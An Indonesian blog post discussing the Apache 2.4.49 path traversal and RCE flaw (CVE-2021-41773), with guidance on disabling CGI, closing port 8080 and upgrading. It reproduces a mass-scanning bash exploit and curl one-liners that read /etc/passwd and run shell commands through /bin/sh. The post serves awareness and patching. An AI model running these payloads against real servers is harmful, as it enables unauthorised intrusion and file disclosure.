Membahas Tentang Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE) di GNU/Linux


Assalamualaikum Wr.Wb...

dengan diberikan nikmat dan rezeki dari Allah SWT, saya Mr.Gagaltotal666 akan
berbagi kepada anda yaitu tentang membahas Apache HTTP Server 2.4.49 -
Path Traversal & Remote Code Execution (RCE) GNU/Linux.

zero day baru Apache ini muncul di tanggal 06 oktober 2021
banyak beredar di dunia pentest mencoba keretanan ini, dan
hal hasil memang sudah banyak nembus ke RCE mendapatkan akses shell.

dari pihak developer apache juga sudah verifikasi keretanan zero day tersebut
contoh sebagai berikut, untuk link nya [disini]

Apache HTTP Server 2.4 vulnerabilities
This page lists all security vulnerabilities fixed in released versions of Apache HTTP Server 2.4. Each vulnerability is given a security impact rating by the Apache security team - please note that this rating may well vary from platform to platform. We also list the versions the flaw is known to affect, and where a flaw has not been verified list the version with a question mark.

Please note that if a vulnerability is shown below as being fixed in a "-dev" release then this means that a fix has been applied to the development source tree and will be part of an upcoming full release.


Poc dari exploitdb pun sudah terverifikasi/claim
contoh Poc di [ExploitDB]

# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl --proxy http://192.168.72.1:8080 -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami

informasi dari twitter dengan akun [Hacker Fantastic]
memposting yang berisikan Apache HTTP Server 2.4.49
- Path Traversal & Remote Code Execution (RCE)

contoh POC nya sebagai berikut

$ curl --data "A=|id>/tmp/x" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -vv

$ curl --data "A=|id>>/tmp/x;uname\$IFS-a>>/tmp/x" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -vv


di lihat dari postingan, celah yang dapat di bagian cgi-bin
jika module itu di aktifkan dan port 8080 di buka/open,
jadi untuk anda yang masih belum mengupdate apache
bisa disable port 8080 atau disable module cgi-bin

contoh sebagai berikut untuk enable dan disable cgi-bin

CentOS, Red Hat, Fedora, dan distribusi berbasis rpm lainnya,
edit file konfigurasi /etc/httpd/conf.modules.d/XX-cgi.conf
dan pastikan baris di bawah ini tidak dikomentari.

<IfModule mpm_worker_module>
   LoadModule cgid_module modules/mod_cgid.so
</IfModule>
<IfModule mpm_event_module>
   LoadModule cgid_module modules/mod_cgid.so
</IfModule>
<IfModule mpm_prefork_module>
   LoadModule cgi_module modules/mod_cgi.so
</IfModule>

Ubuntu, Debian, LinuxMint dan turunan Debian lainnya
menggunakan perintah berikut untuk mengaktifkan modul CGI.
Perintah ini membuat tautan lunak dari file konfigurasi
modul ke direktori /etc/Apache2/mod-enabled/.

$ sudo a2enmod cgi

kebalikan nya untuk disable cgi-bin di apache

CentOS, Red Hat, Fedora dan distro berbasis rpm lainnya
ganti nama file konfigurasi /etc/httpd/conf.modules.d/XX-cgi.conf
seperti di bawah ini.

$ mv /etc/httpd/conf.modules.d/XX-cgi.conf /etc/httpd/conf.modules.d/XX-cgi.conf.disable

Ubuntu, Debian, LinuxMint dan turunan Debian lainnya
menggunakan perintah berikut untuk menonaktifkan modul CGI.

$ sudo a2dismod cgi

referensi dari developer apache [enable/disable cgi-bin]

selanjut nya tutup port 8080

Pada sistem berbasis Debian/Ubuntu, file konfigurasi
yang perlu dimodifikasi adalah file /etc/Apache2/ports.conf
dan pada distribusi berbasis RHEL/CentOS
edit file /etc/httpd/conf/httpd.conf.

Buka file khusus untuk distribusi Anda sendiri dengan
editor teks konsol contoh nano dan vim

$ sudo nano /etc/apache2/ports.conf     [Debian/Ubuntu]
$ sudo vim /etc/apache2/ports.conf     [Debian/Ubuntu]

$ sudo nano /etc/httpd/conf/httpd.conf  [RHEL/CentOS]
$ sudo vim /etc/httpd/conf/httpd.conf  [RHEL/CentOS]

dibagian line yang terdapat nama Listen 8080
kasih tanda # untuk mematikan baris line tersebut
contoh sebagai berikut

Listen 80
#Listen 8080
Listen 8081

terakhir untuk lebih nyaman nya update versi apache terbaru
contoh untuk update di ubuntu server menggunakan ppa

$ sudo add-apt-repository ppa:ondrej/apache2 -y && sudo apt update
$ sudo apt upgrade apache2 -y
$ Server version: Apache/2.4.51 (Ubuntu)

untuk distro lain nya silakan download sesuai dari repo
dan bisa download di website resmi apache [disini]

contoh sebagai berikut saat saya mencoba
jika cgi-bin enable dan disable





penjelasan di video


oke mungkin itu saja mengenai membahas tentang
CVE: 2021-41773 pada apache
jika ada kesalahan dan kekurangan nya
mohon berikan masukan nya ya

sekian dan semoga bermanfaat...

Wasalamualaikum Wr.Wb....

Sumber : [exploitdb] [Apache] [tecadmin] [tecmint]

Post a Comment

0 Comments